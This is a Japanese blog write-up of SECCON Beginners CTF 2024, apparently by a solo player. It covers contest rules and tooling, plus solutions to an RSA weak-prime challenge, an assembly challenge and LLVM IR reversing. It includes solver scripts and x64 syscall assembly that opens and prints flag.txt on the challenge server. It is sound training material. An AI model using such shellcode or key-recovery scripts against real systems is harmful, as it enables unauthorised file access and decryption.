プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

SECCON Beginners CTF 2024 write-up

SECCON Beginners CTF 2024へ、一人チームrotationで参加しました。そのwrite-up記事です。

IDAの解析結果ファイル.i64は、GitHubで公開しています

コンテスト概要

2024/06/15(土) 14:00 +09:00 - 06/16(日) 14:00 +09:00の24時間開催でした。他ルールはRulesページから引用します:

SECCON Beginners CTF 2024
SECCON Beginners CTF 2024 を開催いたします!

本イベントは主に日本の CTF 初心者~中級者を対象とした CTF であり、今回は 2018 年の初開催から数えて 7 回目の開催となります。
以下の要項をご確認いただいた上で、ぜひご参加ください。

競技概要
競技形式
Jeopardy 形式

開催日程
2024/6/15 (土) 14:00 JST から 2024/6/16 (日) 14:00 JST まで

開催時間
24 時間

参加資格
国籍、年齢、性別は問いません。どなたでもご参加いただけます。

競技ルール
1. 得点はチーム毎に集計します。集計にはダイナミックスコアリング方式(多くのチームが解いた問題ほど点数が低くなるような方式)を用います。
2. 原則競技中には問題の追加を行いません。問題の設定ミスなどが発覚した場合には、例外的に修正版の問題が公開される場合があります。
3. フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
4. 誤った解答を短時間の内に何度も送信した場合は、当該チームからの回答を一定時間受け付けない状態(ロック状態)になる場合があります。またこの状態でさらに不正解を送信し続けた場合はロックされる時間がさらに延長される可能性があります。

問題難易度について
本 CTF は日本の CTF 初心者~中級者を対象としたものです。そのため、近年の一般的な CTF ではほぼ見かけない初心者向けの簡単な問題も一定数出題される予定です。これを機に CTF を始めたいという方や、最近 CTF を始めた方は、ぜひそれらの問題をお楽しみください。
それと同時に、上級者でも楽しめる、少しだけ難易度が高めの問題の出題も予定しています。何度か CTF に参加したことがある方は、ぜひそれらの問題を腕試しとしてご活用いただければと思います。
また、より競技に取りかかりやすくなるように、各問題で「Beginner」「Easy」「Medium」「Hard」といった難易度を示す情報を表示しております。
なお、本 CTF の問題数や難易度は複数人からなるチームでご参加いただくことを想定して設定されております。 1 ~ 2 人チームで参加される場合は、競技時間内に着手・正答できる問題数が限られることが予想されますので、ぜひお誘い合わせの上ご参加ください。

競技中のコミュニケーション
競技中の競技に関するアナウンスは、以下の招待リンクから参加できる Discord サーバにて行います。
- https://discord.gg/6sKxFmaUyS
また、競技中に運営に問い合わせたいことがある場合にも、こちらの Discord サーバを利用して下さい。

禁止事項
CTF 競技時間中、以下の行為は禁止とします。
1. 他チームへの妨害行為
2. 他チームの回答などをのぞき見する行為
3. 他者への攻撃的な発言 (暴言 / 誹謗中傷 / 侮辱 / 脅迫 / ハラスメント行為など)
4. 自チームのチーム登録者以外に問題・ヒント・解答を教えること
5. 自チームのチーム登録者以外からヒント・解答を得ること(ただし運営者が全員に与えるものを除く)
6. 設問によって攻撃が許可されているサーバ、ネットワーク以外への攻撃
7. 競技ネットワーク・サーバなどの負荷を過度に高める行為(リモートから総当たりをしないと解けない問題はありません!)
8. その他、運営を阻害する行為
不正行為が発見された場合、運営側の裁量によって減点・失格などのペナルティがチームに対して課せられます。大会後に発覚した場合も同様とします。

特記事項
出題内容や開催中のアナウンスは原則日本語とします。問題中で例外的に英語が用いられる場合があります。
チーム人数に制限はありません。お一人でも、数十人でも、お好きな人数でチームを作成していただいて構いません。
本大会では上位チームへの賞金・賞状の授与等は行いません。
また SECCON CTF への出場権とは一切の関係がありませんので、ご注意ください。
参加登録
参加登録は 2024/6/8 (土) に開始予定です。今しばらくお待ち下さい。

Twitter
@ctf4b

国際女性CTF「Kunoichi Cyber Game」の予選会としての利用について(CTF for GIRLSからのお知らせ)
11月14日、15日 にCODE BLUE 会場(東京都新宿区 ベルサール高田馬場)にて若手向け国際女性CTF「Kunoichi Cyber Game」を開催します。その日本チームメンバーを選抜する予選会として、今回 Beginners CTF 2024の場を提供いただいています。 予選会に参加を希望される方は、Beginners CTF にチーム参加ではなく、個人で参加していただく必要があります。 詳細については、こちらをご覧いただき、ぜひ奮ってチャレンジしてみてください!

結果

正の得点を得ている962チーム人中、1534点で23位でした:

順位と得点等

灰色背景: 解けた問題

また、Settingsページ下部のCertificate箇所から、順位の証明書も表示できました:

環境

WindowsのWSL2(Ubuntu 24.04)を主に使って取り組みました。現状ではUbuntu 24.04のaptではsagemathをinstallできないので、sagemathを使う問題ではUbuntu 22.04も併用しました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.4529]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-24.04           Running         2
  docker-desktop-data    Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  Ubuntu-22.04           Running         2

c:\>

他ソフト

  • IDA Free Version 8.4.240527 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
  • Visual Studio Code Version: 1.90.1 (system setup)
  • Google Chrome Version 125.0.6422.142 (Official Build) (64-bit)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show requests | grep Version:
Version: 2.31.0
$ python3 -m pip show pycryptodome | grep Version:
Version: 3.20.0
$ python3 -m pip show pwntools | grep Version:
Version: 4.12.0
$ clang --version | sed -n 1p
Ubuntu clang version 18.1.3 (1)
$ gdb --version
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ gdb --batch --eval-command 'version' | grep 'Pwndbg:'
Pwndbg:   2024.02.14 build: 2b9beef
$ pwninit --version
pwninit 3.3.1
$ ROPgadget --version
Version:        ROPgadget v7.3
Author:         Jonathan Salwan
Author page:    https://twitter.com/JonathanSalwan
Project page:   http://shell-storm.org/project/ROPgadget/
$ strace --version
strace -- version 6.8
Copyright (c) 1991-2024 The strace developers <https://strace.io>.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Optional features enabled: stack-trace=libunwind stack-demangle m32-mpers mx32-mpers
$ curl --version
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.1
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
$ docker --version
Docker version 20.10.24, build 297e128
$

解けた問題

[welcome] Welcome (928 teams solved, 50 points)

Welcome to SECCON Beginners CTF 2024!

フラグはDiscordサーバのannouncementsチャンネルにて公開されています!

The flag is on Discord.

配布ファイルはありません。コンテンスト開始時刻になると、Discordで次の書き込みがありました:

hi120ki — Today at 2:00 PM
@everyone 📣 SECCON Beginners CTF 2024 開始 📣

SECCON Beginners CTF 2024 を開始します!
https://score.beginners.seccon.jp/
(注: 競技開始後、スコアサーバにアクセスする際はページのリロードをお願いいたします。)

問題 Welcome のフラグはctf4b{Welcome_to_SECCON_Beginners_CTF_2024} です。

フラグを入手できました: ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

[crypto, beginner] Safe Prime (362 teams solved, 60 points)

Using a safe prime makes RSA secure, doesn't it?

問題文中の safe prime 箇所にはWikipediaページへのリンクがあります。配布ファイルとして、問題本体のchall.pyと、その出力のoutput.txtがありました:

import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

問題文で言われている通り p 側はソフィー・ジェルマン素数、 q 側は安全素数のようです。

最初は「 n を分解できる?」「 e 乗根が平文そのものだったりする?」と迷走していました。しばらく経ってから、次の関係性に気付きました:


n = p*q \\
= p*(2 * p + 1) \\
= 2 * p^2 + p

p が増えると n も狭義単調増加するため、 p を二分探索で求められることに気付きました。p が分かれば復号に必要な数値を計算できて、暗号文を復号できます。ソルバーを書きました:

#!/usr/bin/env python3

import ast

with open("output.txt") as f:
    n = ast.literal_eval(f.readline().split("=")[1])
    c = ast.literal_eval(f.readline().split("=")[1])

e = 65537

low = 1
high = n
while low < high:
    mid = (low + high) // 2
    # print(mid)
    if ((2 * mid + 1) * mid) < n:
        low = mid + 1
    else:
        high = mid
p = low
q = 2 * p + 1
assert n % p == 0
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(m.to_bytes(64, "big").lstrip(b"\x00").decode())

実行しました:

$ time ./solve.py
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
./solve.py  0.03s user 0.00s system 22% cpu 0.143 total
$

フラグを入手できました: ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

他の方のwrite-upを見て気付きましたが、p についての二次方程式なので一発で p を求めることもできます。

[reversing, beginner] assemble (161 teams solved, 82 points)

Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

https://assemble.beginners.seccon.games

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./compose.yaml:         ASCII text
./Dockerfile:           ASCII text
./main.py:              Python script, ASCII text executable
./requirements.txt:     ASCII text
./templates/index.html: HTML document, ASCII text
$

とはいえ、配布ファイルを全然読まなくても、問題文記載のURLへアクセスすれば何をするべきなのかは大体分かります:

main.py をざっと見すると、次の内容と分かりました:

  • 全部で4問あり、4問全てを突破するとフラグが表示されそう
  • 入力するアセンブリ言語プログラムは次の制約をすべて満たす必要がありそう
    • 25行以内
    • 使用可能な命令は mov, push, syscall のみ

Challenge 1. Please write 0x123 to RAX!

真っ当に書いて突破できました:

mov rax, 0x123

Challenge 2. Please write 0x123 to RAX and push it on stack!

同じく真っ当に書いて突破できました:

mov rax, 0x123
push rax

Challenge 3. Please use syscall to print Hello on stdout!

x64 Linuxシステムコールの仕様書は x86 psABIs / x86-64 psABI · GitLab からダウンロードできる abi.pdf のようで、それの表題は System V Application Binary Interface です。その中のP137にある A.2 AMD64 Linux Kernel ConventionsA.2.1 Calling Conventions に、syscall 命令を使ったシステムコールの呼び出し方が書かれています:

1. (前略) The kernel interface uses %rdi, %rsi, %rdx, %r10, %r8 and %r9.
2. A system-call is done via the syscall instruction. The kernel clobbers registers %rcx and %r11 but preserves all other registers except %rax.
3. The number of the syscall has to be passed in register %rax.
4. System-calls are limited to six arguments, no argument is passed directly on the stack.
5. Returning from the syscall, register %rax contains the result of the system-call. A value in the range between -4095 and -1 indicates an error, it is -errno.
6. Only values of class INTEGER or class MEMORY are passed to the kernel.

6は、おそらく構造体等を直接は渡せないことを表しているのだと思います。1~5をまとめると、システムコール呼び出しは次の手順を踏めばいいと分かります:

  1. 各種レジスタに必要な値を設定:
    • rax: システムコール番号
    • rdi: 第1引数(あればの話、以下同様)
    • rsi: 第2引数
    • rdx: 第3引数
    • r10: 第4引数
    • r8: 第5引数
    • r9: 第6引数
  2. syscall 命令を実行
  3. rax レジスタへシステムコール呼び出し結果かエラー番号が格納されるので、適宜使用

さて標準出力に使えるシステムコールといえば write システムコールです。システムコール番号を探すために Chromium OS Docs - Linux System Call Table を参照すると、 write システムコールのシステムコール番号は 1 と分かります。

write システムコールの引数や戻り値のプロトタイプ宣言は man 2 write コマンドで確認できて、 ssize_t write(int fd, const void *buf, size_t count); と分かります。今回は標準出力に書き込みたいので、第1引数の fd へは STDOUT_FILENO である 1 を指定します。残りの bufcount で、 "Hello" 文字列を書き込むようにします。"Hello"は8文字以内なので、1回の push 命令でスタックへ配置できます。x64はlittle-endianなので、Pythonインタープリターで次の式を評価して、書き込む内容を確認しました:

>>> b"Hello"[::-1].hex()
'6f6c6c6548'

後はアセンブリコードにするだけと思ったのですが、最初は push 0x6f6c6c6548 を使おうとして Failed to assemble the code. Please check the code. 判定になって困っていました。 assembly - How to push a 64bit int in NASM? - Stack Overflow によると push imm64 は存在しないため、32-bitを超える値を push したい場合はレジスタなどを経由する必要があると分かりました。最終的に、次のアセンブリコードで突破できました:

mov rax, 1
mov rdi, 1
mov rbx, 0x6f6c6c6548
push rbx
mov rsi, rsp
mov rdx, 5
syscall

Challenge 4. Please read flag.txt file and print it to stdout!

ファイルを開くには open システムコールを、その結果から読み込むには read システムコールを、読み込み結果を出力するには先ほど同様に write システムコールを使えます。先ほど同様に、システムコール番号とプロトタイプ宣言を調査できます:

  • open システムコール
    • システムコール番号: 2
    • プロトタイプ宣言: int open(const char *pathname, int flags); または int open(const char *pathname, int flags, mode_t mode);flags 引数の値によっては mode 引数も使用します。
  • read システムコール
    • システムコール番号: 0
    • プロトタイプ宣言: ssize_t read(int fd, void *buf, size_t count);
  • write システムコール
    • システムコール番号: 1
    • プロトタイプ宣言: ssize_t write(int fd, const void *buf, size_t count);

ここで、開くべきファイル名である flag.txt はちょうど8文字であることと、 char* 文字列はNUL文字で終端されている必要があることから、 flag.txt\0\0\0\0\0\0\0\0 という内容の16バイト長のバイト列を open システムコールへ与えることにします。また、その際の flags 引数は O_RDONLY で十分であり、その値は #define O_RDONLY 00000000 から 0 と分かります。

flag.txtのlittle-endian整数表現を確認するために、今回もPythonインタープリターを使いました:

>>> b"flag.txt"[::-1].hex()
'7478742e67616c66'

read システムコールで読み込むバイト数は試行錯誤しました。48バイトではフラグ途中までしか読み込めず、56バイトでは読み込みに失敗するようでした。52バイトでうまくできました。

最終的に、次のアセンブリコードで突破できました:

mov rbx, 0x7478742e67616c66
push 0
push rbx
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 52
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 52
mov rax, 1
syscall

問題文記載のURLで4つのChallengeすべてを突破すると、Challenge 4の出力からフラグを入手できました: ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

[reversing, easy] cha-ll-enge (295 teams solved, 65 points)

見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

配布ファイルとして、cha.ll.engeがありました:

$ file *
cha.ll.enge: ASCII text, with very long lines (478)
$ cat cha.ll.enge.org
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32, align 4
  %2 = alloca [70 x i8], align 16
  %3 = alloca [50 x i32], align 16
  %4 = alloca i32, align 4
  %5 = alloca i32, align 4
  %6 = alloca i64, align 8
  store i32 0, i32* %1, align 4
  %7 = bitcast [50 x i32]* %3 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)
  %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
  %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
  %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %12 = call i64 @strlen(i8* noundef %11) #4
  %13 = icmp eq i64 %12, 49
  br i1 %13, label %14, label %48

14:                                               ; preds = %0
  store i32 0, i32* %4, align 4
  store i32 0, i32* %5, align 4
  store i64 0, i64* %6, align 8
  br label %15

15:                                               ; preds = %38, %14
  %16 = load i64, i64* %6, align 8
  %17 = icmp ult i64 %16, 49
  br i1 %17, label %18, label %41

18:                                               ; preds = %15
  %19 = load i64, i64* %6, align 8
  %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
  %21 = load i8, i8* %20, align 1
  %22 = sext i8 %21 to i32
  %23 = load i64, i64* %6, align 8
  %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
  %25 = load i32, i32* %24, align 4
  %26 = xor i32 %22, %25
  %27 = load i64, i64* %6, align 8
  %28 = add i64 %27, 1
  %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
  %30 = load i32, i32* %29, align 4
  %31 = xor i32 %26, %30
  store i32 %31, i32* %5, align 4
  %32 = load i32, i32* %5, align 4
  %33 = icmp eq i32 %32, 0
  br i1 %33, label %34, label %37

34:                                               ; preds = %18
  %35 = load i32, i32* %4, align 4
  %36 = add nsw i32 %35, 1
  store i32 %36, i32* %4, align 4
  br label %37

37:                                               ; preds = %34, %18
  br label %38

38:                                               ; preds = %37
  %39 = load i64, i64* %6, align 8
  %40 = add i64 %39, 1
  store i64 %40, i64* %6, align 8
  br label %15, !llvm.loop !6

41:                                               ; preds = %15
  %42 = load i32, i32* %4, align 4
  %43 = icmp eq i32 %42, 49
  br i1 %43, label %44, label %47

44:                                               ; preds = %41
  %45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45)
  store i32 0, i32* %1, align 4
  br label %50

47:                                               ; preds = %41
  br label %48

48:                                               ; preds = %47, %0
  %49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))
  store i32 1, i32* %1, align 4
  br label %50

50:                                               ; preds = %48, %44
  %51 = load i32, i32* %1, align 4
  ret i32 %51
}
$

何らかのアセンブリ言語か何かに見えました。最初の方で目立った private unnamed_addr constant でGoogle検索してみると こわくないLLVM入門! #LLVM - Qiita 記事が見つかりました。どうやらLLVM言語のアセンブリソースのようです!なるほど問題名で強調されている ll はLLVM言語を意味しているのでしょう!

とはいえソースを眺めても内容が分からなかったので、記事を見ながらコンパイルしようとしました:

$ clang --version | sed -n 1p
Ubuntu clang version 18.1.3 (1)
$ clang cha.ll.enge
cha.ll.enge: file not recognized: file format not recognized
clang: error: linker command failed with exit code 1 (use -v to see invocation)
$ cp cha.ll.enge src.ll
$ clang src.ll
src.ll:20:29: error: use of undefined value '@__isoc99_scanf'
   20 |   %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
      |                             ^
1 error generated.
$

はい、使用している @__isoc99_scanf 関数が未定義と言っています!一旦挫折して真面目にLLVMアセンブリソースを読もうとしましたが、「 %26%31 で何かをXORしている、何かはよく分からない!」で終わりました……。

一旦別の問題へ移って、戻ってきてから、適当なCソースをLLVMアセンブリソースへコンパイルして比較することにしました。色々試行錯誤しながら、cha.ll.enge ソースで使用している4つのC標準関数を使って、次のCソースを書きました:

#include <stdio.h>
#include <string.h>
int main() {
    char input[64];
    puts("Please input a name");
    scanf("%s", input);
    printf("Hello, %s!\n", input);
    printf("user name's length is %lu\n", strlen(input));
    return 0;
}

LLVMアセンブリソースへコンパイルしました:

$ clang -S -emit-llvm -o test.ll test.c
$ cat test.ll
; ModuleID = 'test.c'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [20 x i8] c"Please input a name\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [12 x i8] c"Hello, %s!\0A\00", align 1
@.str.3 = private unnamed_addr constant [27 x i8] c"user name's length is %lu\0A\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32, align 4
  %2 = alloca [64 x i8], align 16
  store i32 0, ptr %1, align 4
  %3 = call i32 @puts(ptr noundef @.str)
  %4 = getelementptr inbounds [64 x i8], ptr %2, i64 0, i64 0
  %5 = call i32 (ptr, ...) @__isoc99_scanf(ptr noundef @.str.1, ptr noundef %4)
  %6 = getelementptr inbounds [64 x i8], ptr %2, i64 0, i64 0
  %7 = call i32 (ptr, ...) @printf(ptr noundef @.str.2, ptr noundef %6)
  %8 = getelementptr inbounds [64 x i8], ptr %2, i64 0, i64 0
  %9 = call i64 @strlen(ptr noundef %8) #3
  %10 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i64 noundef %9)
  ret i32 0
}

declare i32 @puts(ptr noundef) #1

declare i32 @__isoc99_scanf(ptr noundef, ...) #1

declare i32 @printf(ptr noundef, ...) #1

; Function Attrs: nounwind willreturn memory(read)
declare i64 @strlen(ptr noundef) #2

attributes #0 = { noinline nounwind optnone uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind willreturn memory(read) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind willreturn memory(read) }

!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"Ubuntu clang version 18.1.3 (1)"}
$

cha.ll.enge と自分でコンパイルした test.ll を見比べると、 test.ll 側にのみ declare i32 @puts(ptr noundef) #1 などの関数宣言があることに気付きました。それらを cha.ll.enge へ移植して改めてコンパイルを試しました:

--- cha.ll.enge 2024-06-19 01:47:56.588638000 +0900
+++ src.ll      2024-06-19 01:49:19.471469000 +0900
@@ -4,6 +4,16 @@
 @.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
 @.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1

+declare i32 @puts(ptr noundef) #1
+
+declare i32 @__isoc99_scanf(ptr noundef, ...) #1
+
+declare i32 @printf(ptr noundef, ...) #1
+
+; Function Attrs: nounwind willreturn memory(read)
+declare i64 @strlen(ptr noundef) #2
+
+
 ; Function Attrs: noinline nounwind optnone uwtable
 define dso_local i32 @main() #0 {
   %1 = alloca i32, align 4
$ clang src.ll
src.ll:79:29: error: use of undefined metadata '!6'
   79 |   br label %15, !llvm.loop !6
      |                             ^
1 error generated.
$

分岐箇所らしい箇所で何かエラーが起こっています。メタデータらしいので、削ってみました:

--- src.ll      2024-06-19 01:49:19.471469000 +0900
+++ src2.ll     2024-06-19 01:51:42.231020500 +0900
@@ -76,7 +76,7 @@
   %39 = load i64, i64* %6, align 8
   %40 = add i64 %39, 1
   store i64 %40, i64* %6, align 8
-  br label %15, !llvm.loop !6
+  br label %15

 41:                                               ; preds = %15
   %42 = load i32, i32* %4, align 4
$ clang src2.ll
warning: overriding the module target triple with x86_64-pc-linux-gnu [-Woverride-module]
1 warning generated.
$ file a.out
a.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=98c87c9fde21f0a6966abf89b102a6a559866f58, for GNU/Linux 3.2.0, not stripped
$

ようやく無事にコンパイルできました!というわけでIDAで読み込んで逆コンパイルしました:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 i; // [rsp+0h] [rbp-138h]
  int dwCorrectCount; // [rsp+Ch] [rbp-12Ch]
  int dwArraySize50[50]; // [rsp+10h] [rbp-128h] BYREF
  char strInput[84]; // [rsp+E0h] [rbp-58h] BYREF
  int v8; // [rsp+134h] [rbp-4h]

  v8 = 0;
  memcpy(dwArraySize50, g_dwArraySize50, sizeof(dwArraySize50));
  printf("Input FLAG : ");
  __isoc99_scanf("%s", strInput);
  if ( strlen(strInput) != 49 )
    goto labelIncorrect;
  dwCorrectCount = 0;
  for ( i = 0LL; i < 49; ++i )
  {
    if ( !(dwArraySize50[i + 1] ^ dwArraySize50[i] ^ strInput[i]) )
      ++dwCorrectCount;
  }
  if ( dwCorrectCount == 49 )
  {
    printf("Correct! FLAG is %s.\n", strInput);
    return 0;
  }
  else
  {
labelIncorrect:
    puts("Incorrect FLAG.");
    return 1;
  }
}

グローバル変数の連続する2要素と入力1要素の合計3要素のXORが0になる入力が正解と分かります。ソルバーを書きました:

#!/usr/bin/env python3

# グローバル変数の内容です
a = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

print(f"{len(a) = }")

for (i, c) in enumerate(a[:-1]):
    print(chr(c^a[i+1]), end="")
print()

実行しました:

$ ./solve.py
len(a) = 50
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
$ ./a.out
Input FLAG : ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
Correct! FLAG is ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}.
$

フラグを入手できました: ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

個人的には中々苦労した問題ですが、他の方のwrite-upを見ると真っ当にLLVMアセンブリソースから読解した方や、ChatGPTに投げて逆コンパイルした方々がおられて驚きました。

[reversing, medium] construct (74 teams solved, 114 points)

使っていない関数がたくさんある……?

配布ファイルとして、constructがありました:

$ file *
construct: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7ffce95c67e519a76865f904d1381b6aab6b01ef, for GNU/Linux 3.2.0, not stripped
$

IDAで読み込んで逆コンパイルしてみると、 main 関数内容が祝福メッセージを表示して終了するだけのものでした:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  puts("CONGRATULATIONS!");
  printf("The flag is ctf4b{%s}\n", argv[1]);
  _exit(0);
}

ということは、 main 関数が実行されるよりも先に、コマンドライン引数を検証しているはずです。 Functions ウィンドウから適当な関数を選んで相互参照をたどると、 .init_array セクションに多くの関数があることが分かりました(各種関数名は変更後の名前です):

.init_array:0000000000003CF8     ; ELF Initialization Function Table
.init_array:0000000000003CF8     ; ===========================================================================
.init_array:0000000000003CF8
.init_array:0000000000003CF8     ; Segment type: Pure data
.init_array:0000000000003CF8     ; Segment permissions: Read/Write
.init_array:0000000000003CF8     _init_array     segment qword public 'DATA' use64
.init_array:0000000000003CF8                     assume cs:_init_array
.init_array:0000000000003CF8                     ;org 3CF8h
.init_array:0000000000003CF8     off_3CF8        dq offset InitArray00_func_e0db2736_ArgcMustBe2
.init_array:0000000000003CF8                                             ; DATA XREF: LOAD:0000000000000168↑o
.init_array:0000000000003CF8                                             ; LOAD:00000000000002F0↑o
.init_array:0000000000003D00                     dq offset InitArray01_func_f8db6e92_LenMustBe32
